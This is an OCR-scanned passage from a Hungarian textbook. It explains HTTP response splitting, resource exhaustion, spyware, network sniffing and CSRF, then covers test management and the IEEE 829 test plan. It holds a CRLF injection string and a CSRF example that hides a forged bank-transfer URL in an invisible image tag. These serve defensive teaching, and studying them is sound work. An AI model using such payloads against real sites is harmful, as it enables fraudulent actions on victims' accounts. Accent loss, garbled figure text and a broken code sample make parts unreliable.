CR (carriage return, %0d vagy \r) és LF (line feed, %00a vagy \n) karaktereket is beenged a
fejlécbe. Ezek a karakterek nem csak irdnyitast adnak a timadonak az alkalmazas altal
kiildeni szandékozott valasz maradék fejléce és forésze folott, de azt is lehetdvé teszik, hogy
ujabb, teljesen az irdnyitdsa alatt 1évo valaszokat adjon.
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6.8.4.2 Példak

A kovetkezd kodrészlet kiolvassa egy weblog szerzdjének a nevét egy HTTP kérelembdl és
cookie fejlécként beallitja egy HTTP vélaszban.

String author = request.getParameter(AUTHOR PARAM);

Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);

Ha feltételezziik, hogy olyan sztringet kiildiink el a kérelemben, ami csupa normal
alfanumerikus karakterbdl all, mint példaul ,,JJane Smith”, akkor a HTTP valasz, ami ezt a
cookie-t tartalmazza a kovetkez6 formaju lehet:

HTTP/1.1 200 OK

Set-Cookie: author=Jane Smith

De mivel a cookie értéke ellendrizetlen felhasznaldi adatbevitelbol lett formazva, a valasz
csak akkor fogja fenntartani ezt a format, ha az AUTHOR PARAM-nak kiildott érték nem
tartalmaz CR vagy LF karaktereket. Ha a tdmad¢ kiild egy karos sztringet, mint példaul
"Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", akkor a HTTP valasz két kiilonb6z6 valaszra
lenne bontva, a kovetkez6 formaban:

HTTP/1.1 200 OK

Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK

Nyilvanvald, hogy a mésodik valaszt teljesen a tdmado irdnyitja, olyan tartalmu fejlécet és
torzset ad neki, amilyet szeretne. Az, hogy a timado olyan HTTP valaszt general, amit akar,
lehetdvé tesz tobb mas fajta tdmadast is, tobbek kozott a kovetkezdket:

Cross-User Defacement, Cache Poisoning, Cross-site Scripting (XSS) és Page Hijacking.

6.9 ,Ero6forras Kimerités” (Resource Depletion - Asymmetric resource
consumption (amplification))

6.9.1 Leiras

A tdmado arra kényszeriti az dldozatot, hogy tobb erdéforrast hasznaljon, mint amennyi a
tamado hozzaférési szintjével engedélyezve van. A program valdszintileg nem, vagy csak
hibasan szabaditja fol a rendszer egy er6forrasat. Az eréforras nem lett rendesen kiliritve és
elokészitve az ujboli felhasznalasra.

6.9.2 PELDAK

Példa 1

A kovetkezd metodus sosem fogja bezarni a sajat maga altal megnyitott fajl kezeldt/szamlalot
(file handle). The method for A StreamReader Finalize() metodusa végiil meghivja a Close()
metddust, de semmi sem tudja megmondani, hogy mennyi id6ébe fog telni, miel6tt a Finalize()
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miikodésbe 1épne. Valojaban semmi garancia nincs arra, hogy a Finalize() egyaltalan
miikodésbe fog 1épni. Egy terhelt kdrnyezetben ez azt eredményezheti, hogy a VM
felhasznadlja az sszes rendelkezésére allo f4jl szamlalot.

private void processFile(string fName) {

StreamWriter sw = new

StreamWriter(fName);

string line;

while ((line = sr.ReadLine()) != null) processLine(line);

}

Miutan minden fajl szamlalot (fajl leirot) felhasznalt, a VM nagyon instabilla valhat,
lelassulhat, vagy determinisztikusan megszakithatja a miikodést a korabbi allapotdhoz képest.

Példa 2

Normal koriilmények kozott az alabbi C# kod egy adatbazis lekérdezést hajt végre,
feldolgozza a az adatbazis altal adott eredményt és bezarja a hozza tarsitott SqlConnection
objektumot. De ha egy kivétel torténik az SQL vagy az eredmények feldolgozasa kdzben,
akkor az SqlConnection objektum fog bezarodni. Ha ez elég sokszor megtorténik, akkor az
adatbazis ki fog futni a rendelkezésére all6 kurzorokbol és nem fog tudni tobb SQL
lekérdezést végrehajtani.

C# példa:

SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn; conn.Open();

SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);

conn.Connection.Close();

Az adatbazishoz kapcsolodo egybeesd kapcsolatok szama gyakran alacsonyabb, mint a
rendszer altal maximalisan hasznalhat6 szamlalok szdma. Ez megkonnyiti az alkalmazasok
szlik keresztmetszetének a megtalalasat és a felhaszndldsukat arra, hogy leallitsuk instabilla
tegylik az alkalmazas mikodését.

Példa 3

Ha az N egybeeso kapcsolatot kezelni tud6 alkalmazasba nincsenek beépitve megfeleld
mechanizmusok a kliensek levélasztasara (példaul idékorlatok (TIMEOUT)), akkor nagyon
konnyen mikodésképtelenné tehetd ugy, hogy N-hez kozeli szamu kapcsolatot hozunk 1étre.
Réaadasképpen ezek a kapcsolatok munkat is szimuldlnak az alkalmazéssal, addig hasznélva a
protokolljait, amig f6l nem emésztenek minden rendelkezésre allo er6forrast.

6.10 ,Er6forras Manipulacio - Kémprogram” (Resource Manipulation
Spyware)

6.10.1 Leiras

A kémprogram (Spyware) olyan alkalmazas, ami statisztikai adatokat gytijt a felhasznald
szamitogépérol és tovabbkiildi azt az interneten a felhasznald beleegyezése nélkiil. Ezeket az
informdaciokat altaldban a cookie-kbol vagy a bongészd El6zményeibdl (history) gyijti ki. A
kémprogramok akar més programokat is telepithetnek, reklamokat jelenithetnek meg vagy
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atiranyithatjak az internet bongész6t. A kémprogram tobb dologban kiilonbozik a virusoktol,
férgektdl és reklamprogramoktdl (adware). A kémprogram nem tobbszordzi és terjeszti magat
ugy, mint a virusok és a férgek és nem feltétleniil jelenit meg reklamokat ugy, mint a
reklamprogramok. A fébb kiilonbségek a kémprogramok, valamint a virusok, férgek és
reklamprogramok kozott a kovetkezo:

A a fert6zott szamitogépet kereskedelmi célokra hasznalja ki
A néhany esetben reklamokat jelenit meg

6.10.2 KOCKAZATI TENYEZOK
Magas

Néhany kémprogramot nagyon nehéz eltavolitani, mivel megbujhatnak a bongészd cookie-jai
valamint a halozat nélkiili (offline) HTML tartalomban is az Ideiglenes fajlok (Temporary
files) kozott.

7

6.11 ,Szimatol6 tamadas - Haldzati Lehallgatas” (Sniffing Attacks - Network
Eavesdropping)

6.11.1 Leiras

A Halozati Lehallgatas (Network Eavesdropping) vagy mas néven haldzati szimatolas
(network sniffing) egy olyan halozati réteg tdmadas, ami azt a célt szolgélja, hogy csomagokat
fogjunk el a hal6zatban, ami masok szamitogépérol szarmazik és az ebben 1évé adatokban
olyan kényes informdciokat talaljunk, mint a jelszavak, session tokenek vagy barmilyen nemi
titkos informacio.

Ezt a tamadast a ,,halozati szimatold”-knak (network sniffer) nevezett eszkdzokkel lehet
kivitelezni. Ezek az eszk6zok csomagokat gytijtenek a hal6zaton és az eszk6z mindségétol
fliggben a protokoll dekoderekhez vagy a stream ujraillesztdkhoz hasonloan analizaljak a
begylijtott adatokat.

A haldzat kdrnyezetére néhany feltételnek teljesiilnie kell, hogy a szimatolas hatékony legyen:
* LAN kornyezet HUB-okkal (LAN + HUB).

Ez az idedlis eset, mivel a HUB egy halozati ismétlé eszkdz, ami duplikal minden, akarmelyik
porton keresztiil érkezett haldzati keretet, igy a tamadas nagyon egyszeriien kivitelezheto,
mivel mas feltételeknek nem is kell megfelelni.

* LAN kornyezet kapcsolokkal (LAN + SWITCH)

Hogy a hallgat6zas eredményes legyen, egy eldzetes feltételnek teljesiilnie kell. Mivel a
switch alapesetben csak egy keretet kiild a portnak, sziikségiink van egy olyan
mechanizmusra, ami duplikélja vagy atiranyitja a haldzati csomagokat a rosszindulata
rendszer részére. Példaul ahhoz, hogy duplikaljuk a forgalmat egyik portrél a masikra, egy
kiilonleges bedllitasra lesz sziikségilink a switch-ben. Hogy atiranyitsuk a tamadast egyik
portrol a masikra, sziikséglink lesz egy eldzoleges kihasznalasra, mint példaul az arp spoof
tamadas. Ebben a tamadésban a rosszindulata rendszer utvalasztoként (router) miikodik az
aldozatok kozotti kommunikécioban, lehetévé téve azt, hogy ,kiszimatoljuk™ a felcserélt
csomagokat.

* WAN kornyezet
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Ebben az esetben, a halozati ,,szimatolas” sikeré¢hez arra van sziikség, hogy rosszindulati
rendszer Utvalasztoként (router) miikkodjon a kliens és a szerver kozotti kommunikéacidban
Ezen hiba kihasznalasanak egyik modja, ha DNS altdmadast inditunk a kliens rendszer ellen.

A ,,Halozati Lehallgatas™ egy passziv tdmadds, amit nagyon nehéz felfedezni. Folfedezhetd a
megeldzo allapot hatasabol vagy néhany esetben rabirhatjuk a rosszindulata szervert, hogy
valaszoljon egy olyan hamis kérelemre, amit a rosszindulati rendszer IP cimére kiildtiink, de
egy masik rendszer MAC cimével.

6.11.2 PELDAK

crer

akkor a ,,Hal6zati Lehallgatas” kivitelezése sokkal konnyebbé valik, mivel az eszkoz
mindenféle, egy porton bejovo adatforgalmat duplikdl az 6sszes tobbi portra. Egy protokoll
elemz6t (protocol analyzer) hasznalva a timad6 a LAN egész adatforgalmara rateheti a kezét
¢s igy kényes informacidkat szerezhet meg.

6.12 ,Atverés - oldalakon keresztiili kérelem hamisitas” (Spoofing - Cross-
Site Request Forgery (CSRF))

6.12.1 AtteKintés

A ,,CSRF” egy olyan tdmadas, ami arra kényszeriti a felhasznalot, hogy olyan tevékenységet
végezzen egy webes alkalmazasban, amibe éppen be van jelentkezve, amit nem allna
szandékaban megtenni. Egy kis ,,szocializacios mérnokoskddéssel” (példaul hivatkozas
kiildése e-mailen vagy chat-en keresztiil) a tdimado arra kényszeriti a felhasznal6t, hogy olyan
cselekedeteket hajtson végre, amiket a behatolo6 szeretne. Egy mezei felhasznald esetében egy
sikeres CSRF tamadas veszélybe sodorhatja a felhasznalo adatait és tevékenységét. Ha a
tdmadassal megcélzott azonositd egy adminisztratorhoz tartozik, akkor egy ilyen behatolés az
egész webes alkalmazas biztonsagat veszélyezteti.

6.13 Vonatkozd biztonsagi intézkedések

6.13.1 Hogyan nézziink at egy kddot CSRF sebezhetdséget keresve?

A OWASP Code Review Guide cikkben olvashatunk arrdl, hogy hogyan nézziink at egy
koédot CSRF sebezhetdség reményében (Reviewing code for CSRF).

6.13.2 Hogyan teszteljiik a CSRF sebezhetdséget?
A OWASP Testing Guide cikkben olvashatunk arrél, hogy hogyan teszteljiik a CSRF
sebezhetdséget (Test for CSRF).

6.13.3 Hogyan el6zziik meg a CSRF sebezhet6séget?
A OWASP CSRF Prevention Cheat Sheet dokumentumban olvashatunk a sebezhetdség
megel6zésérol.

Halgassuk meg a kovetkez6 felvételt: OWASP Top Ten CSRFE Podcast.

Egy kivalo iras John Melton tollabol arrdl, hogy hogyan hasznaljuk az OWASP ESAPI
beépitett anti-CSRF funkciojat: excellent blog post

6.13.4 Leiras

Az ,,0ldalakon keresztiili kérelem hamisitas” (CSRF) egy olyan tamadas, ami triikkkds modon
raveszi az aldozatot, hogy olyan weboldalt nyisson meg, ami karos kérelmet tartalmaz. Ez
olyan értelemben karos, hogy 6rokli az dldozat személyazonossagat €s privilégiumait és
ezekkel felszerelve az dldozat nevében nem kivant tevékenységet végez, mint példaul
megvaltoztatja az e-mail cimet, a lakascimet, a kiilonféle jelszavakat vagy éppen vasarol
valamit. A CSRF tamadasok altalaban olyan funkcidkat céloznak, amelyek valamilyen
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allapotvaltozast idéznek eld a szerveren, de ezzel egy idOben kényes informaciokat is
megszerez.

A legtobb oldalon a bongészok automatikusan taroljak a legtobb ilyesfajta kérelmet, ami
barmilyen, a weboldalhoz tartoz6 igazol6 adatot tartalmaz, mint példaul a felhasznal6 session
cookie-jat, alapvetd bejelentkezési adatait, IP cimét, Windows domain adatait, stb. igy ha a
felhasznalo éppen be van jelentkezve az oldalra, akkor az oldalnak esélye sincs a hamis
kérelmet megkiilonboztetni a a valodi felhasznaloi kérelemtol.

Ez Gton a tdmado ugy intézheti, hogy az 4ldozat olyasmit csindljon, amit nem akart volna,
példaul kijelentkezhet, vasarolhat valamit, hozzaférési informacidkat valtoztathat meg,
hozzéaférési informacidkat szerezhet vissza vagy barmi egyéb, a sériilékeny weboldal altal
kinalt funkcidkat hajthat végre.

Néha lehetdség van arra, hogy a CSRF tdmadast magan a sériilékeny weboldalon taroljuk. Az
ilyen sebezhetdségeket Tarolt CSRF hibanak (Stored CSRF flaw) nevezzik. Ezt egyszeriien el
lehet érni ugy, hogy egy IMG vagy IFRAME tag-et tarolunk egy olyan mezdben, ami
elfogadja a HTML-t, de hasznalhatunk joval komplexebb kereszt-oldali szkripteld tdmadast
is. Ha a tdimadas képes tarolni egy CSRF tamadast az oldalon, akkor a behatolés sulyossaga
megnd. Valdjaban nagyobb annak a valoszintlisége, hogy az aldozat a timadast tartalmazo
lapot nézi, mint egy masik, véletlenszerlien kivalasztott lapot az interneten. A valdsziniiség
azért is nd, mert az dldozat mar biztosan be van jelentkezve az oldalra.

Szinonimék: a CSRF tamadasok sok mas néven is ismerik, mint példaul: XSRF, "Sea Surf”,
Session Riding, Cross-Site Reference Forgery vagy Hostile Linking. A Microsoft
»Egykattintdsos” tdimadasként (One-Click attack) hivatkozik erre a a fajta timadasra a
fenyegetlés modellezd folyamatéban és sok mas helyen az online dokumentéaciokban.

6.13.5 Megel6zési médszerek, amik NEM MUKODNEK
Titkos cookie hasznalata

Emlékezziink arra, hogy minden cookie — még a titkosak is — elkiildésre keriilnek
minden kérelemmel. Minden azonosit6 token elkiildésre kertil attol fiiggetleniil, hogy a
felhasznalot csalassal vették-e ra a kérelem elkiildésére. Sot, a session azonositokat
egyszerlien arra hasznalja az alkalmazas taroloja, hogy 6sszekapcsolja kérelmet egy
bizonyos session objektummal. A session azonositd nem ellendrzi, hogy a
felhaszndlonak szandékaban allt-e elkiildeni a kérelmet.

Csak utdlagos kérelmeket (POST request) fogadunk el

Az alkalmazasokat ugy is fel lehet épiteni, hogy csak utolagos kérelmeket (POST
request) fogadjanak el az iizleti logika alkalmazasa végett. A tévhit az, hogy mivel a
tamado nem tud karos hivatkozést dsszerakni, igy a CSRF tamadas nem kivitelezhetd.
Sajnos ez a logika nem helytallo. Szamos olyan modszer van, amivel a tdmado triikkkos
modon raveheti az dldozatot, hogy elkiildjon egy hamisitott utélagos kérelmet, példaul
egy egyszeru Urlap formdjaban, ami a behatold oldalan van tarolva és rejtett értékeket
tartalmaz. Ezt az {rlapot aztan a JavaScript konnyen aktivalhatja, de megteheti ezt az
aldozat is, aki azt hiszi, hogy az tirlap valami mast fog csindlni.

6.13.6 PELDAK

Hogyan miikédik a tamadas?
Szamos modja van annak, hogy triikkkel ravegytik a felhasznalot, hogy toltson be vagy kiildjon
informaciot egy webes alkalmazasbol/ba. A tdmadas kivitelezése céljabol el6szor azt kell
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atlatnunk, hogyan hozzunk 1étre olyan karos kérelmet, amit az dldozat végre fog hajtani.
Vegyiik szemiigyre a kovetkezd példat: Aliz 100 dollart szeretne utalni Robinak a bank.com
oldalon keresztiil. Az Aliz altal generalt kérelem nagyjabdl a kovetkezéképpen fog kinézni:

POST http://bank.com/transfer.do HTTP/1.1

Content-Length: 19;

acct=BOB&amount=100

Maria azonban észreveszi, hogy ugyanaz a webes alkalmazas, a kovetkezd URL
paraméterekkel hajtja végre ugyanazt az atutalast:

GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

Maria ugy dont, hogy kihaszndlja a webes alkalmazas eme gyenge pontjat és Aliz lesz az
aldozata. El6sz0r is Maria megszerkeszti a kovetkezd URL-t, ami at fog utalni 100000 dollart
Aliz szamlajarol az dvére:

http://bank.com/transfer.do?acct=MARIA &amount=100000

Most hogy a karos kérelme elkésziilt, Marianak triikkel ra kell vennie Alizt, hogy elkiildje azt.
A legalapvetdbb mddja ennek az, hogy kiild Aliznak egy HTML e-mailt, ami a kdvetkezdket
tartalmazza:

<a href="http://bank.com/transfer.do?acct=MARIA &amount=100000">View my
Pictures!</a>

Feltéve, hogy Aliz be van jelentkezve az alkalmazasba, mikor rakattint a hivatkozasra, a
100000 dollar atvitele Aliz szamlajarol Maria szdmlajara végbe fog menni. Azonban Maria
azt is tudja, hogy ha Aliz rakattint a hivatkozasra, akkor észre fogja venni, hogy valamiféle
tranzakci6 tortént. Ezért Maria ugy dont, hogy egy 0 bajtos képbe rejti a tdmadast:

<img src="http://bank.com/transfer.do?acct=MARIA &amount=100000" width="1"
height="1" border="0">

Ha ezt a kép fag-et beleteszi az email-be, akkor Aliz csak azt fogja latni, hogy egy kis doboz
jelenik meg, mintha a bongészé nem tudta volna feldolgozni a képet. Azonban a bongészo
ETTOL FUGGETLENUL elkiildi a kérelmet a bank.com oldalnak anélkiil, hogy a
tranzakcionak barmilyen lathato jele lett volna.
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7 Teszt menedzsment
A tesztelési tevékenység a fejlesztési folyamat szerves része. A tesztelés helyét a fejlesztési
folyamatban a V modell szemlélteti.

Ebben a fejezetben attekintést adunk arrdl, hogy

e hogyan kell megszervezni és iranyitani a tesztelést,
e hogyan illeszthet6 be a tesztelés a fejlesztési folyamat menedzsmentjébe.

A tesztelésnek a fejlesztési folyamatba illesztése soran az alabbi szempontokat kell
figyelembe venni.

A tesztelés helye a fejleszt6 csoportban
Megvizsgalandok a kovetkezd kérdések:

o Atesztel6k fliggetlensége. A fliggetlen tesztelGi szervezet hasznai és hatranyai.
o Ateszteléshez sziikséges szerepkorok.
o Atesztmérnok (test designer) és a tesztel§ (tester) feladatai.

Teszt tervezés

e Ateszt tervezés szintjei.

o A teszt tervezés célja és a teszt specifikacid, teszt terv tartalma az IEEE 829 szabvany
szerint.

o Ateszt el6készités és a teszt végrehajtds Iépései.

e Ateszt elfogadasi kritériumai a tesztelés kiilonb6z6 szintjein.

A tesztfolyamat ellenérzése és kévetése

o Ateszt tervezés és végrehajtas metrikai.
o A tesztelési tevékenység elGrehaladdsdnak dokumentdldasa az IEEE 829 szabvany
szerint

Konfiguracié menedzsment
e Hogyan tdmogathatja a konfiguracid menedzsment a tesztelési folyamatot.
Kockazatok és a tesztelés

o Atesztelés a fejlesztési kockazatok csokkentésének egyik eszkoze.
o Afejlesztési és a termék kockazat fogalma.

Incidens menedzsment

e Azincidens fogalma.
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e Indicens jelentés és annak tartalma.
A tovabbiakban a fenti szempontok kozil a legfontosabbakat elemezziik.

7.1 A tesztelés szervezeti keretei

A megfelel6 tesztel6 szervezet feldllitdsa az elsé |épés egy sikeres tesztfolyamat
elvégzéséhez. Fontos, hogy az adott feladathoz legmegfelel6bb szakembereket valogassuk
bele a tesztcsapatba. A tesztcsapat Osszeallitdsa a teszt targyat képezd projekttdl fligg.

Mivel a tesztelés a minGségbiztositds része, azaz egyfajta értékelés, melynek eredménye
nem minden esetben pozitiv, ezért fontos lehet egy olyan tesztcsapat Osszeallitdsa, amely
képes objektiven értékelni a programozok munkajat.

ElGszOr a tesztcsapat fliggetlenségének mértékét kell meghataroznunk. A fliggetlenség teljes
hidnya esetén a tesztel6k maguk a programozék, akik a teszteket a programozodi csapaton
belll végzik el. Kbvetkez6 szint, amikor egy integralt tesztcsapat a programozdk mellett
dolgozik, tovabbra is a programozé team tagjaként, jelentési kotelezettséggel a fejlesztési
menedzser felé. Az ezt kovetd szinten a fejlesztési csapattdl fliggetlen tesztcsapat all, akik
jelentéseiket a projektmenedzsernek irjak. A legfelsGbb szint, a teljes fliggetlenség, ahol a
tesztelési feladatokat végz6 kilondlld tesztcsapat, aki ugyanannak a szervezeti szintnek
késziti a jelentéseket, mint a fejlesztési team. A tesztel6 csapat fliggetlenségi szintjeit foglalja
Ossze az alabbi dbra:

PRV

Figgetlen teszteld csoport a

enseg

Fiiggetl

7-1. abra A teszteld fliggetlensége

A kilénboz6 teriileti szakért6k (mint példaul az Uzleti szakértdk, technolégiai szakérték,
tesztautomatizdaldsi szakért6k, biztonsagi tesztel6k, tanusitvanytesztel6k) kilon flggetlen
tesztcsapatokat is alkothatnak a szervezeten belll, vagy egy kilon szerz6dtetett tesztcsapat
csoportjaiként.
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Egy fliggetlen tesztel6 tobb mds jellegl hibat vehet észre, mint aki a programozdkkal egytt
dolgozik, vagy maga is programozd, mivel mas ralatasa lehet a projektre, illetve észrevehet
olyan problémakat is, amik a fejleszt6 csapat gondolkoddsmaédjabdl erednek. Valamint egy
flggetlen teszteld, aki a vezet6i menedzsernek irja jelentéseit, 6szinte tud maradni, hiszen
nem kell annak negativ kdvetkezményeivel szamolnia, hogy munkatdrsait birdlja, vagy
menedzsere munkajanak hibdira mutat ra. Egy flggetlen tesztcsapat rendelkezhet
elkllonitett koltségvetéssel és vezetéssel, igy annak tagjai is nagyobb eséllyel palyazhatnak
majd jobb munkahelyi pozicidkra, hiszen nincsenek a programozok ala vagy mellé rendelve.

A flggetlen tesztcsapat hatrdnya lehet viszont a projektt6l vagy annak részeitSl vald
elszigetel6dés. Ha a tesztel6 ismeri az adott programozék dltaldanos gondolkoddasmadijat,
nagyobb eséllyel fedezi fel annak hibait. Rosszabb esetekben el6fordulhat az is, hogy a
projektet nem teljesen ismerve tulzott figyelmet szentelnek annak bizonyos részegységei
hibdinak feltdrasara, igy mas jelleglieket elhanyagolhatnak. Ez a kommunikdciés probléma
ellenszenvhez, elidegenedéshez, vddaskodashoz vezethet.

A jol integrélt csapatok is szembesilhetnek hasonlé problémakkal, példaul a tesztel6k joggal
vagy jogtalanul, de gondolhatjak, hogy ald vannak rendelve a programozdi teamnek, a
projekt tobbi résztvevéje gondolhatja ugy, hogy a tesztelés lassitja a projekt el6re menetelét,
és a tesztcsapat miatt késnek a hatdrid6kkel. A programozék feleslegesnek tarthatjak kddjaik
ellen6rzését, hiszen ugyis van sajat tesztcsapatuk.

Gyakori eset, hogy a vallalatok vagyva a fliggetlen tesztelés el6nyeire csak azért hoznak létre
ilyen csapatokat, hogy hogy hamarosan feloszlassak 6ket. Oka, lehet, hogy a tesztmenedzser
sikertelen a fenti problémdk hatékony kezelésében.

A tesztelés flggetlenségének megdllapitdsdhoz tehat nem létezik egyediili helyes ut. Minden
egyes projekthez, a projekt alkalmazasi terlletét, kockazatszintjét, komplexitasat figyelembe
véve kell dontenlink. Lehetséges természetesen a projekt elérehaladasaval annak kilonb6z6
szintjein valtoztatnunk a tesztcsapat figgetlenségén és Osszetételén. Vannak tesztek, amiket
célszerlibb, a mdasok végeznek el, mas teriletek szakértbi a projekt targyatol fliggden.

7.2 A tesztmérnok és a tesztelo feladatai

Lathattuk, hogy tesztcsapat tipusaibdl és az azokban betoltott feladatkdrdkbdl is tobbféle
van. A két legalapvet6bb a tesztmérndk (tesztvezets) és a tesztel6, ezek a legtdbb teszteld
szervezetben megtaldlhatdak.

A tesztvezet6 elsédleges feladata a tesztelési feladatok tervezése, azok végrehajtdsanak
fellgyelete és levezetése. Egy projekt induldasakor a tesztvezet6k a projekt tobbi
résztvevljével egyittmikodve meghatdrozzdk a tesztelés céljait, szabalyait, a tesztelési
stratégidkat és a tesztterveket. A tesztvezet6 a projekt induldsa el6tt felbecsili a tesztelési
folyamathoz szlikséges er6forrasokat. Feladata felismerni a tesztautomatizalasi
lehet&ségeket, és egyeztetni a projekt tobbi csoportjaval, példaul a fejleszt6kkel, hogy azok
hogyan lehetnek a tesztelési folyamat segitségére. A tesztvégrehajtas kozeledtével
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biztositaniuk kell a teszteléshez szlikséges kornyezet meglétét, majd irdnyitjak, id6zitik és
felGgyelik a tesztfolyamatokat. Az 6 feladatuk megirni az 6sszefoglald jelentéseket az aktudlis
tesztdllapotokral.

Valészinlleg a teszt végrehajtas megkezdése el6tt nem lesz szlikség a tesztel6k munkajara,
de érdemes 6ket mar a projekt induldsakor alkalmazni. A tesztelés tervezési és el6készitési
idészakdban a tesztel6knek meg kell ismernilk a teszttervet, és kozre kell miikddnitk annak
esetleges javitasaban, meg kell ismerniik a kovetelményeket, és a muszaki tesztterv-
specifikacidk elemzését. Gyakran a tesztelSk allitjdk be a tesztkornyezetet, vagy 6k segitik
ebben a rendszeradminisztratorokat. A tesztek megkezdésével elsé feladatuk a tesztek
tesztkdrnyezetbe valé implementdldsa. A tesztfolyamat sordn a tesztel6k hajtjak végre és
naplozzak a teszteket, majd kiértékelik és elemzik azokat.

7.2.1 Atesztelés résztvevOi szamara sziikséges képességek

A tesztcsapat Osszeallitdsa soran figyelembe kell venniink, hogy nem elegend6 a
tesztkdrnyezet megléte, a feladatkérok kiosztdsa és a létszdm meghatarozasa. Ugyelniink
kell arra, hogy a megfelelé pozicidkba a megfelel6 emberek készségekkel és képesitéssel
rendelkezé emberek keriiljenek. Egy tesztel6nél alapvet6 szakmai és szocidlis kdvetelmény
példaul az olvasasi készség, jelentések széban és irdsban torténd elkészitésének készsége,
illetve a hatékony kommunikacids képesség. Ezen fellil a projekt jellegének és céljanak
megfelel6éen a kovetkez6 harom szempont szerint kell megvizsgdlnunk, milyen
kovetelményeknek kell megfelelniiik a tesztcsapat tagjainak:

Alkalmazasi és uzleti teriilet

Fontos, hogy a tesztel6 megértse az adott szoftver miikodésének Iényegét, igy felismerje az
azzal szemben tdmasztott elvarasokat, igy megtalalja a kiemelt fontossagu, kritikus pontokat.

Technoldgia

A tesztel6nek ismernie kell a valasztott implementacids technoldgia képességeit és korlatait,
hogy képes legyen beazonositani a felmerul6 problémak eredetét.

Tesztelés

A tesztel6nek ismernie kell a tesztelési folyamatok elméletét, hogy eredményesen és
hatdrozottan tudja végezni munkajat.

A kilonbozé terileteken sziikséges szakértelem szintje és annak szlikségessége a
szervezettdl, az alkalmazasoktdl és a kockdazattdl fliggéen eltérhet. Tipikus hiba a fejlesztési
folyamatok szervezésében, hogy a projekt menedzsment hajlamos aldbecsiilni a tesztelési
szaktudas sziikségességét.
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7.3 Teszt tervek, becslések és stratégiak

A teszt terv az elvégzendl tesztelési munka projektterve, nem pedig mdszaki teszt terv
specifikdcid vagy tesztesetek gylijteménye. A teszt terv a teszt menete folyaman valtozik,
megjegyzésekkel bdéviilhet, igy valik lassan a projektcsapat megbeszéléseit, egyeztetéseit
rogzit6 napléva.

A teszt tervek kilonb6z6 szintjeit és a tervek elkészitését befolydsold tényezdket foglalja
0ssze az alabbi abra:

A teszt tervek elkészitését befolyasolo tényezdk
AN AT AT

i'r I i I I ii i'ri i I i iiﬁ " | ii +I|'I "

'._:_l--_lﬁt.:-. e A e = L B
m .--..-‘..--..- % ||\ _H\-:-;_____\___________ ™ tﬂl"lt
ter | == -

_ Rendszer teszit
- Intcgraei&s teszt terv
Eg:még teszt

7-2. abra Teszt tervek

Ha teszt tervet készitlink, érdemes sablont haszndlnunk, igy nehezebben felejtiink ki kritikus
pontokat. Haszndlhaté az IEEE 829-es sablon. Ezen sablon alapjan egy teszttervnek a
kovetkez6ket kell tartalmaznia:

1. Tesztterv azonositd
Bevezet6
3. Tesztegységek
A tesztelés targydanak a meghatarozasa. Tartalmazhat hivatkozdsokat mas
dokumentdcidkra, példaul rendszer tervekre.
4. Tesztelendd funkcidk
A tesztelés céljanak meghatdrozasa (funkcidk, nem funkcionalis kovetelmények).
5. Nem tesztelendd funkciok
Olyan kovetelmények, amelyeket nem sziikséges, vagy nem lehetséges tesztelni.
6. Szemléletmdd
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10.

11.

12.

13.

14.

15.

16.

A tesztelés modszerének leirdasa. Hivatkozhat mas dokumentumra, példaul a
tesztelési stratégia leirasara.
Elem helységének / hibdjanak feltétele
Annak a feltételnek a specifikdciéja, aminek alapjan eldonthetd, hogy egy rendszer
elem megfelel-e a teszt kritériumoknak.
Felfuggesztési / Gjrakezdési feltételek
A teszt felfliggesztésének és Ujrakezdésének kritériumai.
Atadandé tesztkimenetek
Azok a dokumentumok, amelyek a tesztelési tevékenység eredményeit tartalmazzak.
Példaul:

e teszt tervek,

o teszt specifikacidk az egyes tesztelési szintekhez,

e teszt futtasasok jegyz6konyvei.
Tesztfeladatok
A tesz tervezéshez és végrehajtashoz sziikséges tevékenységek dsszefoglalasa.
Koérnyezeti igények
A tesztek végrehajtdsdhoz sziikséges hardver és szoftver kérnyezet specifikacidja.
Felelsségek
A tesztelési tevékenységhez sziikséges szerepkorok és azok feladatainak leirasa.
Személyzeti és képzési igények
A tesztelési tevékenységhez szikséges szakemberek és azok szikséges
szakértelmének meghatarozasa
Utemterv
A tesztelési tevékenység ltemterve, a meghatarozott hatdridGkre végrehajtando
tevékenységek és elkészitendé dokumentumok meghatarozasa.
Kockazatok és elére nem lathaté események
Az el6re megbecsiilhet6 kockazatok és azok elkeriilésének / minimalizdlasanak terve
Jévahagyasok
Annak meghatarozdsa, hogy ki jogosult a dokumentumok elfogaddsara.

A tesztterv irdsanak célja, hogy végiggondoljuk a teszt menetét, hisz amit végiggondolva

képesek vagyunk széba foglalni, azt értjik is. Egy jo tesztterv rovid és lényegre torg, igy

megirdsa nem egyszer(i feladat. Magas szinten at kell gondolnunk a tesztelési munka céljat.

Ehhez

meg kell hataroznunk, hogy mi tartozik az adott teszthez, és mi nem, meg kell

érteniink a termékkockdazatokat és ismerniink kell a teszttelés lehetséges korlatait (példaul

anyagi vagy id8korlat). Ezek utdn fel kell osztanunk a feladatokat, a tesztelés kilonb6z6

szintjeire. Ezutan egyeztetnlink kell a szintek kozti atmeneteket, majd meghataroznunk, hogy

mely informacidkat kell atadnunk a teszt végén a karbantartd csapatnak. Ehhez meg kell

hataroznunk, hogy milyen allitasok lennének igazak egy olyan projektre, amin sikeresen

elvégezték a tesztelést, azaz specifikdlnunk kell minden teszt esetén annak belépési és

kilépési feltételeit.
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7.4 A tesztfolyamat ellendrzése és kovetése

A teszt terv meghatdrozza, hogy milyen tevékenységeket kell végrehajtani. A tesztelési
folyamat sordn folyamatosan nyilvan kell tartani, hogy az elGirt feladatok koziil mit, és
milyen eredménnyel hajtottunk végre az adott id6pontig. A teszt monitorig célja a tesztelési
tevékenység el6rehaladasanak a kovetése.

A tesztelés el6rehaladdsat jelz6 adatok Osszegylijtése torténhet manudlisan, nyilvantartva
azokat egy papirlapon, vagy egy Excel tabldban, de hatékonyabb a teszt automatizalasi
eszk6zok hasznalata. A teszt folyamat el6rehaladdsat mér6szamokkal jellemezhetjiik.
Alkalmazhaté mérészamok:

e A haszndlati esetek hany szazalékara késziilt teszt terv.

